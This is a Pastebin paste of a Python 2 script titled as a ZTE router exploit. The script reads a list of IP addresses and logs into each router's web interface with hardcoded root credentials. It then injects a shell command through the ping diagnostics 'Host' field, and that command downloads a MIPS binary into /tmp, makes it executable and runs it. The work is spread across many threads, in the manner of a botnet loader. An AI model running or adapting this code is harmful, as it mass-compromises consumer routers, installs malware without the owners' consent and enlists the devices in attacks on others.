Advertisement
Network-Binarys

[Exploit] - ZTE

Nov 12th, 2018
1,280
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.33 KB | None | 0 0
  1. #! python !#
  2. import threading, sys, time, random, socket, subprocess, re, os, struct, array, requests
  3. from threading import Thread
  4. from time import sleep
  5. import requests
  6. from requests.auth import HTTPDigestAuth
  7. from decimal import *
  8. ips = open(sys.argv[1], "r").readlines()
  9.  
  10. login_payload = "Frm_Logintoken=4&Username=root&Password=W%21n0%26oO7."
  11.  
  12. command_payload = "&Host=;$(cd /tmp;wget http://0.0.0.0/bins/mips; chmod 777 mips; ./mips zte zte)&NumofRepeat=1&DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit"
  13.  
  14. def run(cmd):
  15. subprocess.call(cmd, shell=True)
  16. class rtek(threading.Thread):
  17. def __init__ (self, ip):
  18. threading.Thread.__init__(self)
  19. self.ip = str(ip).rstrip('\n')
  20. def run(self):
  21. try:
  22. print "[ZTE] Loading - " + self.ip
  23. url = "http://" + self.ip + ":8083/login.gch"
  24. url2 = "http://" + self.ip + ":8083/manager_dev_ping_t.gch"
  25. url3 = "http://" + self.ip + ":8083/getpage.gch?pid=1001&logout=1"
  26.  
  27. requests.post(url, timeout=3, data=login_payload)
  28. requests.post(url2, timeout=2.5, data=command_payload)
  29. requests.get(url3, timeout=2.5)
  30.  
  31. except Exception as e:
  32. pass
  33. for ip in ips:
  34. try:
  35. n = rtek(ip)
  36. n.start()
  37. time.sleep(0.03)
  38. except:
  39. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement